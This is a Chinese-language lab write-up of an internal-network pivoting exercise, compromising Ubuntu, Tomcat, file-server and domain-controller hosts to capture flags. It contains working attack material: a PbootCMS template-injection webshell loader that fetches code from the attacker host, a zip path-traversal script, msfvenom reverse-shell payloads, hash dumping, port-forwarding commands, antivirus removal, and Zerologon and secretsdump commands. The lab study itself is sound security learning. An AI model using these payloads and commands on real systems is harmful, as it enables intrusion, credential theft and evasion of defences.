記一次內網流量轉發學習
靶機環境配置
外網網段:192.168.2.0/24
內網網段:10.10.1.0/24
10.10.10.0/24
ubuntu:192.168.2.189
tomcat:192.168.2.122
10.10.1.129
fileserver:10.10.1.128
10.10.10.140
dc:10.10.10.139
攻擊機kali:192.168.2.105
ubuntu
首先對ubuntu進行端口掃描,發現開了21、22、80、888、3306、8888端口
nmap -T4 -sC -sV 192.168.2.189

這里訪問一下80端口發現報錯沒有找到站點,應該是一個寶塔的面板,這里下面給出了解決方法,綁定域名www.cf1.com

這里進入kali的/etc/host目錄把192.168.2.189這個ip跟www.cf1.com這個域名綁定

然后再訪問一下www.cf1.com即可進入,得到PBOOTCMS的頁面

這里再使用kali進行信息搜集,但是沒有找到什么有價值的網址
dirb http://www.cf1.com

這里通過百度得到PBOOTCMS有一個敏感的目錄如下,訪問一下得到cms的版本
http://www.cf1.com/doc/ChangeLog.txt

這里我使用御劍沒有掃除敏感文件,這里我掛代理使用xray掃一下有什么文件暴露沒有
xray.exe webscan --listen 127.0.0.1:7777 --html-output report.html

得到一個config.tar.gz的文件,看這個后綴名應該是個備份文件

訪問一下,把這個備份文件下載下來

得到三個php文件,這里先看一下database.php,返現了數據庫用戶名跟連接的密碼1,還有dbname,這里猜測應該是數據庫的文件

百度之后發現PBOOTCMS默認的數據庫為SQLite,下載SQLite的專屬數據庫管理軟件DB Browser并賦予權限

然后再訪問一下之前找到的db文件,將其下載到本地

在DB Browser里面打開數據庫文件可以看到有很多的表

在瀏覽數據找到ay_user這個表看到有一個admin用戶,但是password地方這里是一串字母數字,這里就猜測是md5加密

這里通過md5解密得到密碼為admin7788

進入后臺admin.php,通過admin/admin7788登錄到后臺
登錄成功

這里通過百度發現有date,in_array,explode,implode這幾個函數可用,乍一看是些沒啥用的函數, 但還是找到了可以利用的方式,只要將函數名寫成數組,經由implode拼接成字符串,最后進入eval即可執行代碼。
這里構造一個phpinfo
{pboot:if(implode('', ['c','a','l','l','_','u','s','e','r','_','f','u','n','c'])(implode('',['p','h','p','i','n','f','o'])))}!!!{/pboot:if}

然后訪問任意網站即可打出phpinfo

那么這里我們可以通過遠程加載的方法往本地寫入一個shell,首先在本地生成一個一句話木馬2.php,執行以下命令遠程加載,即可在靶機生成一個test.php文件
{pboot:if(implode('',['f','i','l','e','_','p','u'.'t','_c','o','n','t','e','n','t','s'])(implode('',['2','.php']),
implode('',['file_','put_','contents(','"test.php",','file','_get_','contents("','http://192.168.2.105:8000/2.txt
"))?>'])))}!!!{/pboot:if}

這里我們訪問并連接得到webshell

執行命令返回127,應該是disbale禁用了函數,進入phpinfo看一下果不其然,進了一多半的函數

這里是寶塔面板php版本為7.0,這里就先嘗試使用上傳exp直接繞,鏈接如下
https://github.com/mmor1/exploits/tree/master/php7-backtrace-bypass

上傳exp.php

上傳成功,但是這里沒地方執行命令,我看了一下他們其他使用這個exp繞的時候都會有一個輸入框,但是我這里不知道啥問題沒有

反正這個地方卡了半天,然后我在看exp.py的代碼的時候發現他的第一行代碼是pwn("uname -a"),這不是執行linux代碼的地方嗎,那么我嘗試一下直接執行bash反彈命令可不可以呢

打開7777端口監聽然后訪問exp.py拿到了反彈shell

首先進行下信息搜集,是ubuntu18.04.4的版本,有個172的ip,有個192的ip,那么應該是一個是docker,一個是本機,我應該拿到的是一個docker的shell

這里/etc/passwd查看下賬戶,發現一個cf1賬戶

進入/home/cf1目錄發現rsa

把id_rsa拷貝出來,加權執行

得到ssh連接

但是這里還是個user權限,嘗試先提權,使用docker提權
docker run -v /etc:/mnt -it alpine cd /mnt cat shadow


這里看了一下cf1這個賬號密碼應該是破解不出來,那我就嘗試創建一個賬戶test
openssl passwd -1 --salt test
因為是個docker,沒有openssl環境,而且curl、apt-get、sudo install全部都用不了,沒辦法這里就用不了docker提權了

這里換個方法,使用到CVE-2021-3156提權,鏈接如下:https://github.com/worawit/CVE-2021-3156,使用本地起一個http服務,將exp放在目錄下,然后執行命令
wget http://192.168.2.161:8000/exp.py ls

切換到root用戶即可,在/root目錄下拿到第一個flag

這里拿到的是一個交互型的shell,先生成一個msf的木馬上線msf比較方便
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.2.105 LPORT=4444 -f elf > shell.elf

msf開啟監聽,然后把木馬上傳到靶機執行chmod 777 shell.elf加權,執行elf即可得到反彈的meterpreter

這里再在靶機得到的交互型shell里面執行sudo apt-get install nmap安裝nmap

然后執行nmap -sn 192.168.2.0/24 -T4對192.168.2.0這個網段進行掃描,得到tomcat的ip為192.168.2.122
ps:這里因為我web和ubuntu設置的橋接,其他幾個ip是其他電腦或者手機的ip

然后使用nmap繼續對122這臺主機進行端口掃描得到3306和8080端口,結合tomcat應該判斷8080為一個tomcat
nmap -T4 -sC -sV 192.168.2.122
tomcat
訪問下8080端口是一個jspxcms

這里通過百度發現jspxcms的后臺地址為/cmscp/index.do,訪問一下得到后臺

嘗試下弱口令admin/123456

登陸成功

這里百度過后發現jspxcms有一個后臺解壓,后臺可以上傳zip文件,上傳后會自動解壓,問題出現在WebFileUploadsController.java里的unzip方法,調用了下層方法卻沒有進行文件名檢查,導致目錄穿透。上傳的文件默認會在tomcat目錄\webapps\ROOT\uploads\1\下,但構造壓縮包可以使上傳的文件穿到\webapps下,不會受JspDispatcherFilter的約束

將web.xml放到WEB-INF文件夾下
# web.xml
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee
http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"
version="2.4">
Main
Shell
shell
/shell.jsp
shell
/shell

然后使用jar -cvf shell.war *將目錄下的文件打包為shell.war

然后使用test.py生成test.zip
import zipfile
if __name__ == "__main__":
try:
zipFile = zipfile.ZipFile("test.zip", "w", zipfile.ZIP_DEFLATED)
binary = b'alert("helloworld")'
zipFile.writestr("../../test.html", binary)
zipFile.write("shell.war" ,"../../../shell.war")
zipFile.close()
except IOError as e:
raise e
執行即可得到test.zip

這里我直接使用windows/meterpreter/reverse_tcp生成的木馬被360給攔截了,查閱資料后發現使用java/jsp_shell_reverse_tcp載荷即可繞過

點擊上傳文件并用ZIP解壓

訪問http://192.168.2.122:8080/shell/shell.jsp即可得到反彈的meterpreter

進行信息搜集可以發現一個10.10.1.0/24段,一個192.168.2.122段

這里msf上不好執行windows命令這里我派生給cs一個會話,首先新建一個監聽

然后在msf里面執行
use exploit/windows/local/payload_inject set lhost 192.168.2.161 set lport 5555 set sessions 4 run


運行即可在cs里面上線

這里sleep 1后執行hashdump得到Administrator的密碼

然后對10.10.1.0/24段進行掃描得到另一個存活的ip:10.10.1.128

回到msf添加路由并配置socks代理,這里我用4a比較習慣,也可以用5,并配置/etc/proxychains.conf文件
route add 10.10.1.0 255.255.255.0 4 route print use auxiliary/server/socks_proxy set version 4a run

然后使用proxychains配合nmap進行端口掃描,只能訪問到445端口
proxychains nmap -sT -Pn 10.10.1.128 -p 445,80,139,3306


445端口聯想到ipc,直接使用一個空連接嘗試訪問FILESERVER成功

把之前抓到的hash解密一下得到administrator的密碼為QWEasd123

那么這里我直接嘗試上遠程桌面進行信息搜集,這里首先打開遠程桌面
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

在本地配置proxychain為192.168.2.105/1080端口代理進內網,然后使用administrator/QWEasd123進行登錄

得到第二個flag
fileserver
之前在信息搜集的過程中就已經發現主機中存在360套餐,為了方便下一層的滲透這里把360關掉會比較方便

但是放大之后這里360圖標不見了

那先把windows defender關掉

關不掉360那我就直接粗暴的卸載了


還有一個360殺毒也要卸載掉

這里拿到了administrator的賬號密碼嘗試使用ipc連接成功

使用administrator的hash進行psexec,沒有橫向成功

這里繼續往下走有兩種方法,首先是上線msf的方法
當我們打到這個地方的時候已經經過了兩層網絡,從192.168.2.0段到了10.10.1.0段,所以這時候如果我們生成個木馬反彈到msf,msf是接收不到的,所以這時候我們就需要進行流量轉發,把我們拿到的這臺10.10.1.129主機當作跳板,把所有經過這臺主機的流量全部轉到kali上面去
shell netsh interface portproxy add v4tov4 listenport=7788 connectaddress=192.168.2.105 connectport=7788 //添加ipsec入站規則 shell netsh interface portproxy show all //查看規則
這里可以看到已經添加成功,這里就相當于所有經過10.10.1.129的7788端口的流量都會被轉發到192.168.2.105(kali ip)的7788端口處

那么我們用msf生成一個木馬,lhost直接設置為10.10.1.129,但是流量還是會直接轉到msf上
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.1.129 LPORT=7788 -f exe > abc.exe

把木馬拷貝到128這臺主機上
shell copy C:\Users\Administrator\Desktop\test.exe \\10.10.1.128\c$\windows\temp\test.exe

嘗試了下at,sc計劃上線都失敗

那么這里我們有管理員的帳號跟密碼,我們就可以使用到psexec的exe直接執行命令
PsExec.exe \\10.10.1.128 -u administrator -p QWEasd123 -i c:\\windows\\Administrator\\Desktop\\abc.exe

kali監聽7788端口即可收到反彈的meterpreter

這里懶得開遠程桌面上去找了,根據之前flag的位置使用psexec獲取一個cmd環境順利得到第三個flag


拿到第三個flag后繼續進行信息搜集,可以看到也有兩個網段,分別為10.10.10.0/24和10.10.1.0/24

進入cmd環境下,首先用chcp 65001設置下否則會亂碼,然后ipconfig /all可以看到dns為fbi.gov,那么這臺主機就處于fbi.gov這個域里面

抓下密碼,hashdump這里沒有執行成功不知道是什么原因,是system權限,有點迷,換了個run post/windows/gather/smart_hashdump命令抓取到了administrator的hash

解密一下也是QWEasd123

另外一種方法上線cs的話,首先創建一個監聽中轉


然后生成一個木馬


這里把木馬拷貝到128主機上,這里可以建立ipc連接后copy即可

執行即可上線cs
dc
繼續對10.10.10.0/24段的主機進行信息搜集,前兩個命令都報錯
shell net view shell net view domain shell net user

然后使用cs對10.10.10.0/24網段主機進行掃描,得到另一個存活的ip:10.10.10.139

回到msf添加10.10.10.0段的路由

使用proxychain配合nmap掃描些常見的端口,這里可能是幾層網絡的原因掃起來太慢了我就沒掃完
proxychains nmap -sT -Pn 10.10.10.139 -p 80,88,89,8000,9090,1433,1521,3306,5432,445,135,443,873,5984,6379,7001,7002,9200,9300,12111,27017,27018,50000,50070,50030,21,22,23,2601,3389 --open

看了下cs掃出的端口88、389端口基本確定為DC

嘗試了永恒之藍、弱密碼、pth等一系列方法都沒成功,這里就不放圖了,然后使用到cve-2020-1472,首先檢測一下存在漏洞
proxychains python3 zerologon_tester.py dc$ 10.10.10.139

然后使用cve-2020-1472-exploit.py將dc密碼置空
proxychains python3 cve-2020-1472-exploit.py dc$ 10.10.10.139

再使用impacket/examples里面的secrertsdump.py獲取密碼

可以使用這個命令
proxychains python3 secretsdump.py fbi/dc\$@10.10.10.139 -just-dc -hashes :

這個命令也可以獲取到
proxychains python3 secretsdump.py fbi/dc\$@10.10.10.139 -no-pass

還是使用到impacket里面的smbexec.py直接獲取dc的cmd環境
proxychains python3 smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:669a3273144a82b942377c1001ed03a3 administrator@10.10.10.139

這里還是之前存放flag的目錄得到root.txt,得到最后一個flag

這里設置了chcp 65001前面那串還是亂碼,好奇心驅使我看了下,原來是說已經打通了域控,本次滲透至此結束


